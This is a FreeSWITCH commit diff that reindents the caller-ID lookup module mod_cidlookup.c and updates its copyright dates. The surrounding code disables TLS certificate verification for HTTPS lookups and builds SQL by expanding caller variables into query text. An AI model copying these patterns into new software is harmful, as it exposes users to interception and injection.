mirror of
https://github.com/signalwire/freeswitch.git
synced 2026-10-31 07:34:19 +00:00
run indent on the whole tree and update copyright dates in prep for 1.0.5
git-svn-id: http://svn.freeswitch.org/svn/freeswitch/trunk@16579 d0543943-73ff-0310-b7d9-9358b9ac24b2
This commit is contained in:
1 parent
7b347417e5
commit
886e1ddb4d
229 files changed
+20252
-20192
No files matched your search
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -28,7 +28,7 @@
|
||||
* mod_cidlookup.c -- API for querying cid->name services
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
#include <switch.h>
|
||||
#include <curl/curl.h>
|
||||
|
||||
@@ -50,12 +50,12 @@ static struct {
|
||||
char *url;
|
||||
int curl_timeout;
|
||||
int curl_warnduration;
|
||||
|
||||
|
||||
char *whitepages_apikey;
|
||||
|
||||
switch_bool_t cache;
|
||||
int cache_expire;
|
||||
|
||||
|
||||
char *odbc_dsn;
|
||||
char *odbc_user;
|
||||
char *odbc_pass;
|
||||
@@ -92,22 +92,24 @@ static switch_cache_db_handle_t *cidlookup_get_db_handle(void)
|
||||
{
|
||||
switch_cache_db_connection_options_t options = { {0} };
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
|
||||
|
||||
if (!zstr(globals.odbc_dsn)) {
|
||||
options.odbc_options.dsn = globals.odbc_dsn;
|
||||
options.odbc_options.user = globals.odbc_user;
|
||||
options.odbc_options.pass = globals.odbc_pass;
|
||||
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
|
||||
dbh = NULL;
|
||||
}
|
||||
return dbh;
|
||||
}
|
||||
|
||||
|
||||
static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
|
||||
static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type,
|
||||
switch_bool_t changed)
|
||||
{
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
|
||||
if (!switch_odbc_available()) {
|
||||
@@ -139,25 +141,31 @@ static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const
|
||||
}
|
||||
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
switch_cache_db_release_db_handle(&dbh);
|
||||
return status;
|
||||
}
|
||||
|
||||
static switch_xml_config_string_options_t config_opt_dsn = {NULL, 0, NULL}; /* anything is ok here */
|
||||
static switch_xml_config_string_options_t config_opt_dsn = { NULL, 0, NULL }; /* anything is ok here */
|
||||
static switch_xml_config_item_t instructions[] = {
|
||||
/* parameter name type reloadable pointer default value options structure */
|
||||
SWITCH_CONFIG_ITEM_STRING_STRDUP("url", CONFIG_RELOAD, &globals.url, NULL, "http://server.example.com/app?number=${caller_id_number}", "URL for the CID lookup service"),
|
||||
SWITCH_CONFIG_ITEM_STRING_STRDUP("whitepages-apikey", CONFIG_RELOAD, &globals.whitepages_apikey, NULL, "api key for whitepages.com", "api key for whitepages.com"),
|
||||
SWITCH_CONFIG_ITEM_STRING_STRDUP("url", CONFIG_RELOAD, &globals.url, NULL, "http://server.example.com/app?number=${caller_id_number}",
|
||||
"URL for the CID lookup service"),
|
||||
SWITCH_CONFIG_ITEM_STRING_STRDUP("whitepages-apikey", CONFIG_RELOAD, &globals.whitepages_apikey, NULL, "api key for whitepages.com",
|
||||
"api key for whitepages.com"),
|
||||
SWITCH_CONFIG_ITEM("cache", SWITCH_CONFIG_BOOL, CONFIG_RELOAD, &globals.cache, SWITCH_FALSE, NULL, "true|false", "whether to cache via cidlookup"),
|
||||
SWITCH_CONFIG_ITEM("cache-expire", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.cache_expire, (void *)300, NULL, "expire", "seconds to preserve num->name cache"),
|
||||
SWITCH_CONFIG_ITEM("curl-timeout", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_timeout, (void *)2000, NULL, "timeout for curl", "milliseconds to timeout"),
|
||||
SWITCH_CONFIG_ITEM("curl-warning-duration", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_warnduration, (void *)1000, NULL, "warning when curl queries are longer than specified time", "milliseconds"),
|
||||
SWITCH_CONFIG_ITEM("cache-expire", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.cache_expire, (void *) 300, NULL, "expire",
|
||||
"seconds to preserve num->name cache"),
|
||||
SWITCH_CONFIG_ITEM("curl-timeout", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_timeout, (void *) 2000, NULL, "timeout for curl",
|
||||
"milliseconds to timeout"),
|
||||
SWITCH_CONFIG_ITEM("curl-warning-duration", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_warnduration, (void *) 1000, NULL,
|
||||
"warning when curl queries are longer than specified time", "milliseconds"),
|
||||
SWITCH_CONFIG_ITEM_STRING_STRDUP("sql", CONFIG_RELOAD, &globals.sql, NULL, "sql whre number=${caller_id_number}", "SQL to run if overriding CID"),
|
||||
SWITCH_CONFIG_ITEM_STRING_STRDUP("citystate-sql", CONFIG_RELOAD, &globals.citystate_sql, NULL, "sql to look up city/state info", "SQL to run if overriding CID"),
|
||||
SWITCH_CONFIG_ITEM_STRING_STRDUP("citystate-sql", CONFIG_RELOAD, &globals.citystate_sql, NULL, "sql to look up city/state info",
|
||||
"SQL to run if overriding CID"),
|
||||
SWITCH_CONFIG_ITEM_CALLBACK("odbc-dsn", SWITCH_CONFIG_STRING, CONFIG_RELOAD, &globals.odbc_dsn, "", config_callback_dsn, &config_opt_dsn,
|
||||
"db:user:passwd", "Database to use."),
|
||||
"db:user:passwd", "Database to use."),
|
||||
SWITCH_CONFIG_ITEM_END()
|
||||
};
|
||||
|
||||
@@ -166,7 +174,7 @@ static switch_status_t do_config(switch_bool_t reload)
|
||||
if (switch_xml_config_parse_module_settings("cidlookup.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -179,10 +187,10 @@ static switch_bool_t cidlookup_execute_sql_callback(char *sql, switch_core_db_ca
|
||||
{
|
||||
switch_bool_t retval = SWITCH_FALSE;
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
|
||||
|
||||
if (globals.odbc_dsn && (dbh = cidlookup_get_db_handle())) {
|
||||
if (switch_cache_db_execute_sql_callback(dbh, sql, callback, (void *)cbt, err)
|
||||
== SWITCH_ODBC_FAIL) {
|
||||
if (switch_cache_db_execute_sql_callback(dbh, sql, callback, (void *) cbt, err)
|
||||
== SWITCH_ODBC_FAIL) {
|
||||
retval = SWITCH_FALSE;
|
||||
} else {
|
||||
retval = SWITCH_TRUE;
|
||||
@@ -190,7 +198,7 @@ static switch_bool_t cidlookup_execute_sql_callback(char *sql, switch_core_db_ca
|
||||
} else {
|
||||
*err = switch_core_sprintf(cbt->pool, "Unable to get ODBC handle. dsn: %s, dbh is %s\n", globals.odbc_dsn, dbh ? "not null" : "null");
|
||||
}
|
||||
|
||||
|
||||
switch_cache_db_release_db_handle(&dbh);
|
||||
return retval;
|
||||
}
|
||||
@@ -199,33 +207,31 @@ static int cidlookup_callback(void *pArg, int argc, char **argv, char **columnNa
|
||||
{
|
||||
callback_t *cbt = (callback_t *) pArg;
|
||||
switch_memory_pool_t *pool = cbt->pool;
|
||||
|
||||
|
||||
if (argc < 1) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
|
||||
"Unexpected number of columns returned for SQL. Returned column count: %d. ",
|
||||
argc);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unexpected number of columns returned for SQL. Returned column count: %d. ", argc);
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
cbt->name = switch_core_strdup(pool, switch_str_nil(argv[0]));
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Name: %s\n", cbt->name);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
/* make a new string with digits only */
|
||||
static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
|
||||
static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
|
||||
{
|
||||
char *p, *np, *newstr;
|
||||
size_t len;
|
||||
|
||||
p = (char *)str;
|
||||
p = (char *) str;
|
||||
|
||||
len = strlen(str);
|
||||
newstr = switch_core_alloc(pool, len+1);
|
||||
newstr = switch_core_alloc(pool, len + 1);
|
||||
switch_assert(newstr);
|
||||
np = newstr;
|
||||
|
||||
while(*p) {
|
||||
|
||||
while (*p) {
|
||||
if (switch_isdigit(*p)) {
|
||||
*np = *p;
|
||||
np++;
|
||||
@@ -237,16 +243,17 @@ static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
|
||||
return newstr;
|
||||
}
|
||||
|
||||
static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number) {
|
||||
static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number)
|
||||
{
|
||||
char *cmd;
|
||||
char *name = NULL;
|
||||
char *area = NULL;
|
||||
char *src = NULL;
|
||||
cid_data_t *cid = NULL;
|
||||
switch_stream_handle_t stream = { 0 };
|
||||
|
||||
|
||||
SWITCH_STANDARD_STREAM(stream);
|
||||
|
||||
|
||||
cmd = switch_core_sprintf(pool, "get fs:cidlookup:name:%s", number);
|
||||
if (switch_api_execute("memcache", cmd, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
|
||||
if (strncmp("-ERR", stream.data, 4)) {
|
||||
@@ -275,7 +282,7 @@ static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number) {
|
||||
src = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (name || area || src) {
|
||||
cid = switch_core_alloc(pool, sizeof(cid_data_t));
|
||||
switch_assert(cid);
|
||||
@@ -283,24 +290,21 @@ static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number) {
|
||||
cid->area = area;
|
||||
cid->src = src;
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: k:'%s', vn:'%s', va:'%s', vs:'%s'\n",
|
||||
cmd,
|
||||
(name) ? name : "(null)",
|
||||
(area) ? area : "(null)",
|
||||
(src) ? src : "(null)"
|
||||
);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: k:'%s', vn:'%s', va:'%s', vs:'%s'\n",
|
||||
cmd, (name) ? name : "(null)", (area) ? area : "(null)", (src) ? src : "(null)");
|
||||
switch_safe_free(stream.data);
|
||||
return cid;
|
||||
}
|
||||
|
||||
switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *cid) {
|
||||
switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *cid)
|
||||
{
|
||||
char *cmd;
|
||||
switch_bool_t success = SWITCH_TRUE;
|
||||
switch_stream_handle_t stream = { 0 };
|
||||
|
||||
|
||||
SWITCH_STANDARD_STREAM(stream);
|
||||
|
||||
|
||||
cmd = switch_core_sprintf(pool, "set fs:cidlookup:name:%s '%s' %d", number, cid->name, globals.cache_expire);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: %s\n", cmd);
|
||||
if (switch_api_execute("memcache", cmd, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
|
||||
@@ -334,7 +338,7 @@ switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *ci
|
||||
}
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
switch_safe_free(stream.data);
|
||||
return success;
|
||||
}
|
||||
@@ -347,17 +351,18 @@ static size_t file_callback(void *ptr, size_t size, size_t nmemb, void *data)
|
||||
http_data->bytes += realsize;
|
||||
|
||||
if (http_data->bytes > http_data->max_bytes) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)http_data->bytes);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int) http_data->bytes);
|
||||
http_data->err = 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
http_data->stream.write_function(
|
||||
&http_data->stream, "%.*s", realsize, ptr);
|
||||
http_data->stream.write_function(&http_data->stream, "%.*s", realsize, ptr);
|
||||
return realsize;
|
||||
}
|
||||
|
||||
static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, char **response, const char *query, struct curl_httppost *post, struct curl_slist *headers, int timeout) {
|
||||
static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, char **response, const char *query, struct curl_httppost *post,
|
||||
struct curl_slist *headers, int timeout)
|
||||
{
|
||||
switch_time_t start_time = switch_micro_time_now();
|
||||
switch_time_t time_diff = 0;
|
||||
CURL *curl_handle = NULL;
|
||||
@@ -365,20 +370,20 @@ static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, cha
|
||||
char hostname[256] = "";
|
||||
|
||||
struct http_data http_data;
|
||||
|
||||
|
||||
memset(&http_data, 0, sizeof(http_data));
|
||||
|
||||
|
||||
http_data.max_bytes = 10240;
|
||||
SWITCH_STANDARD_STREAM(http_data.stream);
|
||||
|
||||
gethostname(hostname, sizeof(hostname));
|
||||
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "url: %s\n", query);
|
||||
curl_handle = curl_easy_init();
|
||||
|
||||
|
||||
curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 0);
|
||||
curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
|
||||
|
||||
|
||||
if (!strncasecmp(query, "https", 5)) {
|
||||
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
@@ -394,7 +399,7 @@ static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, cha
|
||||
curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_easy_setopt(curl_handle, CURLOPT_MAXREDIRS, 10);
|
||||
/*
|
||||
TIMEOUT_MS is introduced in 7.16.2, we have 7.16.0 in tree
|
||||
TIMEOUT_MS is introduced in 7.16.2, we have 7.16.0 in tree
|
||||
*/
|
||||
#ifdef CURLOPT_TIMEOUT_MS
|
||||
if (timeout > 0) {
|
||||
@@ -406,7 +411,7 @@ static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, cha
|
||||
if (timeout > 0) {
|
||||
curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
|
||||
} else {
|
||||
curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, globals.curl_timeout/1000);
|
||||
curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, globals.curl_timeout / 1000);
|
||||
}
|
||||
#endif
|
||||
curl_easy_setopt(curl_handle, CURLOPT_URL, query);
|
||||
@@ -417,34 +422,24 @@ static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, cha
|
||||
curl_easy_perform(curl_handle);
|
||||
curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
|
||||
curl_easy_cleanup(curl_handle);
|
||||
|
||||
if ( http_data.stream.data &&
|
||||
!zstr((char *)http_data.stream.data) &&
|
||||
strcmp(" ", http_data.stream.data) ) {
|
||||
|
||||
|
||||
if (http_data.stream.data && !zstr((char *) http_data.stream.data) && strcmp(" ", http_data.stream.data)) {
|
||||
|
||||
/* don't return UNKNOWN */
|
||||
if (strcmp("UNKNOWN", http_data.stream.data) ||
|
||||
strcmp("UNAVAILABLE", http_data.stream.data)) {
|
||||
if (strcmp("UNKNOWN", http_data.stream.data) || strcmp("UNAVAILABLE", http_data.stream.data)) {
|
||||
*response = switch_core_strdup(pool, http_data.stream.data);
|
||||
}
|
||||
}
|
||||
|
||||
time_diff = (switch_micro_time_now() - start_time); /* convert to milli from micro */
|
||||
|
||||
if ((time_diff/1000) >= globals.curl_warnduration) {
|
||||
|
||||
time_diff = (switch_micro_time_now() - start_time); /* convert to milli from micro */
|
||||
|
||||
if ((time_diff / 1000) >= globals.curl_warnduration) {
|
||||
switch_core_time_duration_t duration;
|
||||
switch_core_measure_time(time_diff, &duration);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SLOW LOOKUP ("
|
||||
"%um, "
|
||||
"%us, "
|
||||
"%ums"
|
||||
"): url: %s\n",
|
||||
duration.min,
|
||||
duration.sec,
|
||||
duration.ms,
|
||||
query);
|
||||
"%um, " "%us, " "%ums" "): url: %s\n", duration.min, duration.sec, duration.ms, query);
|
||||
}
|
||||
|
||||
|
||||
switch_safe_free(http_data.stream.data);
|
||||
return httpRes;
|
||||
}
|
||||
@@ -463,19 +458,19 @@ static cid_data_t *do_whitepages_lookup(switch_memory_pool_t *pool, switch_event
|
||||
|
||||
/* NANPA check */
|
||||
if (strlen(num) == 11 && num[0] == '1') {
|
||||
num++; /* skip past leading 1 */
|
||||
num++; /* skip past leading 1 */
|
||||
} else {
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "whitepages-cid", num);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "whitepages-api-key", globals.whitepages_apikey);
|
||||
|
||||
|
||||
query = switch_event_expand_headers(event, "http://api.whitepages.com/reverse_phone/1.0/?phone=${whitepages-cid};api_key=${whitepages-api-key}");
|
||||
do_lookup_url(pool, event, &xml_s, query, NULL, NULL, 0);
|
||||
|
||||
|
||||
xml = switch_xml_parse_str_dup(xml_s);
|
||||
|
||||
|
||||
if (!xml) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to parse XML: %s\n", xml_s);
|
||||
goto done;
|
||||
@@ -487,14 +482,14 @@ static cid_data_t *do_whitepages_lookup(switch_memory_pool_t *pool, switch_event
|
||||
name = switch_core_strdup(pool, switch_xml_txt(node));
|
||||
goto area;
|
||||
}
|
||||
|
||||
|
||||
node = switch_xml_get(xml, "wp:listings", 0, "wp:listing", 0, "wp:displayname", -1);
|
||||
if (node) {
|
||||
name = switch_core_strdup(pool, switch_xml_txt(node));
|
||||
}
|
||||
|
||||
area:
|
||||
|
||||
area:
|
||||
|
||||
node = switch_xml_get(xml, "wp:listings", 0, "wp:listing", 0, "wp:address", 0, "wp:city", -1);
|
||||
if (node) {
|
||||
city = switch_xml_txt(node);
|
||||
@@ -504,12 +499,12 @@ area:
|
||||
if (node) {
|
||||
state = switch_xml_txt(node);
|
||||
}
|
||||
|
||||
|
||||
if (city || state) {
|
||||
area = switch_core_sprintf(pool, "%s %s", city ? city : "", state ? state : "");
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
|
||||
if (query) {
|
||||
switch_safe_free(query);
|
||||
@@ -519,23 +514,24 @@ done:
|
||||
}
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "whitepages XML: %s\n", xml_s);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "whitepages name: %s, area: %s\n", name ? name : "(null)", area ? area : "(null)");
|
||||
|
||||
|
||||
cid = switch_core_alloc(pool, sizeof(cid_data_t));
|
||||
switch_assert(cid);
|
||||
|
||||
|
||||
cid->name = name;
|
||||
cid->area = area;
|
||||
cid->src = "whitepages";
|
||||
return cid;
|
||||
}
|
||||
|
||||
static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql) {
|
||||
static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql)
|
||||
{
|
||||
char *name = NULL;
|
||||
char *newsql = NULL;
|
||||
char *err = NULL;
|
||||
callback_t cbt = { 0 };
|
||||
cbt.pool = pool;
|
||||
|
||||
|
||||
if (globals.odbc_dsn) {
|
||||
newsql = switch_event_expand_headers(event, sql);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL: %s\n", newsql);
|
||||
@@ -551,13 +547,14 @@ static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, con
|
||||
return name;
|
||||
}
|
||||
|
||||
static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate) {
|
||||
static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate)
|
||||
{
|
||||
char *number = NULL;
|
||||
char *name = NULL;
|
||||
char *url_query = NULL;
|
||||
cid_data_t *cid = NULL;
|
||||
switch_bool_t save_cache = SWITCH_FALSE;
|
||||
|
||||
|
||||
cid = switch_core_alloc(pool, sizeof(cid_data_t));
|
||||
switch_assert(cid);
|
||||
|
||||
@@ -581,40 +578,37 @@ static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event,
|
||||
goto done;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!skipurl && globals.whitepages_apikey) {
|
||||
cid = do_whitepages_lookup(pool, event, number);
|
||||
if (cid && cid->name) { /* only cache if we have a name */
|
||||
if (cid && cid->name) { /* only cache if we have a name */
|
||||
save_cache = SWITCH_TRUE;
|
||||
goto done;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!skipurl && globals.url) {
|
||||
url_query = switch_event_expand_headers(event, globals.url);
|
||||
do_lookup_url(pool, event, &name, url_query, NULL, NULL, 0);
|
||||
if (name) {
|
||||
cid->name = name;
|
||||
cid->src = "url";
|
||||
|
||||
|
||||
save_cache = SWITCH_TRUE;
|
||||
}
|
||||
if (url_query != globals.url) {
|
||||
switch_safe_free(url_query);
|
||||
}
|
||||
}
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
if (!cid) {
|
||||
cid = switch_core_alloc(pool, sizeof(cid_data_t));
|
||||
switch_assert(cid);
|
||||
}
|
||||
/* append area if we can */
|
||||
if (!cid->area &&
|
||||
!skipcitystate &&
|
||||
strlen(number) == 11 && number[0] == '1' &&
|
||||
switch_odbc_available() && globals.odbc_dsn && globals.citystate_sql) {
|
||||
|
||||
if (!cid->area && !skipcitystate && strlen(number) == 11 && number[0] == '1' && switch_odbc_available() && globals.odbc_dsn && globals.citystate_sql) {
|
||||
|
||||
/* yes, this is really area */
|
||||
name = do_db_lookup(pool, event, number, globals.citystate_sql);
|
||||
if (name) {
|
||||
@@ -626,7 +620,7 @@ done:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!cid->area) {
|
||||
cid->area = "UNKNOWN";
|
||||
}
|
||||
@@ -636,11 +630,11 @@ done:
|
||||
if (!cid->src) {
|
||||
cid->src = "UNKNOWN";
|
||||
}
|
||||
|
||||
|
||||
if (globals.cache && save_cache) {
|
||||
set_cache(pool, number, cid);
|
||||
}
|
||||
|
||||
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "cidlookup source: %s\n", cid->src);
|
||||
return cid;
|
||||
@@ -649,7 +643,7 @@ done:
|
||||
SWITCH_STANDARD_APP(cidlookup_app_function)
|
||||
{
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
char *argv[4] = { 0 };
|
||||
int argc;
|
||||
char *mydata = NULL;
|
||||
@@ -663,7 +657,7 @@ SWITCH_STANDARD_APP(cidlookup_app_function)
|
||||
const char *number = NULL;
|
||||
switch_bool_t skipurl = SWITCH_FALSE;
|
||||
switch_bool_t skipcitystate = SWITCH_FALSE;
|
||||
|
||||
|
||||
if (session) {
|
||||
pool = switch_core_session_get_pool(session);
|
||||
} else {
|
||||
@@ -674,7 +668,7 @@ SWITCH_STANDARD_APP(cidlookup_app_function)
|
||||
if (!(mydata = switch_core_session_strdup(session, data))) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
|
||||
if (argc > 0) {
|
||||
number = switch_core_session_strdup(session, argv[0]);
|
||||
@@ -687,20 +681,20 @@ SWITCH_STANDARD_APP(cidlookup_app_function)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!number && profile) {
|
||||
number = switch_caller_get_field_by_name(profile, "caller_id_number");
|
||||
}
|
||||
|
||||
|
||||
if (number) {
|
||||
cid = do_lookup(pool, event, number, skipurl, skipcitystate);
|
||||
}
|
||||
|
||||
|
||||
if (switch_string_var_check_const(cid->name)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
|
||||
switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
|
||||
switch_goto_status(SWITCH_STATUS_GENERR, done);
|
||||
}
|
||||
|
||||
|
||||
if (cid && channel) {
|
||||
switch_channel_set_variable(channel, "original_caller_id_name", switch_core_strdup(pool, profile->caller_id_name));
|
||||
if (!zstr(cid->src)) {
|
||||
@@ -711,10 +705,10 @@ SWITCH_STANDARD_APP(cidlookup_app_function)
|
||||
}
|
||||
profile->caller_id_name = switch_core_strdup(profile->pool, cid->name);;
|
||||
}
|
||||
|
||||
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
if (event) {
|
||||
switch_event_destroy(&event);
|
||||
}
|
||||
@@ -722,6 +716,7 @@ done:
|
||||
switch_core_destroy_memory_pool(&pool);
|
||||
}
|
||||
}
|
||||
|
||||
SWITCH_STANDARD_API(cidlookup_function)
|
||||
{
|
||||
switch_status_t status;
|
||||
@@ -736,7 +731,7 @@ SWITCH_STANDARD_API(cidlookup_function)
|
||||
switch_bool_t skipurl = SWITCH_FALSE;
|
||||
switch_bool_t skipcitystate = SWITCH_FALSE;
|
||||
switch_bool_t verbose = SWITCH_FALSE;
|
||||
|
||||
|
||||
if (zstr(cmd)) {
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
|
||||
}
|
||||
@@ -753,22 +748,18 @@ SWITCH_STANDARD_API(cidlookup_function)
|
||||
if (argc < 1) {
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
|
||||
}
|
||||
|
||||
|
||||
if (!strcmp("status", argv[0])) {
|
||||
stream->write_function(stream, "+OK\n url: %s\n cache: %s\n cache-expire: %d\n",
|
||||
globals.url ? globals.url : "(null)",
|
||||
(globals.cache) ? "true" : "false",
|
||||
globals.cache_expire);
|
||||
stream->write_function(stream, " curl-timeout: %" SWITCH_TIME_T_FMT "\n curl-warn-duration: %" SWITCH_TIME_T_FMT "\n",
|
||||
globals.curl_timeout,
|
||||
globals.curl_warnduration);
|
||||
|
||||
stream->write_function(stream, " odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n",
|
||||
globals.odbc_dsn ? globals.odbc_dsn : "(null)",
|
||||
globals.sql ? globals.sql : "(null)",
|
||||
globals.citystate_sql ? globals.citystate_sql : "(null)");
|
||||
stream->write_function(stream, " ODBC Compiled: %s\n", switch_odbc_available() ? "true" : "false");
|
||||
|
||||
stream->write_function(stream, "+OK\n url: %s\n cache: %s\n cache-expire: %d\n",
|
||||
globals.url ? globals.url : "(null)", (globals.cache) ? "true" : "false", globals.cache_expire);
|
||||
stream->write_function(stream, " curl-timeout: %" SWITCH_TIME_T_FMT "\n curl-warn-duration: %" SWITCH_TIME_T_FMT "\n",
|
||||
globals.curl_timeout, globals.curl_warnduration);
|
||||
|
||||
stream->write_function(stream, " odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n",
|
||||
globals.odbc_dsn ? globals.odbc_dsn : "(null)",
|
||||
globals.sql ? globals.sql : "(null)", globals.citystate_sql ? globals.citystate_sql : "(null)");
|
||||
stream->write_function(stream, " ODBC Compiled: %s\n", switch_odbc_available()? "true" : "false");
|
||||
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
|
||||
}
|
||||
for (i = 1; i < argc; i++) {
|
||||
@@ -784,7 +775,7 @@ SWITCH_STANDARD_API(cidlookup_function)
|
||||
cid = do_lookup(pool, event, argv[0], skipurl, skipcitystate);
|
||||
if (cid) {
|
||||
if (switch_string_var_check_const(cid->name)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
|
||||
stream->write_function(stream, "-ERR Invalid CID data {%s} contains a variable\n", cid->name);
|
||||
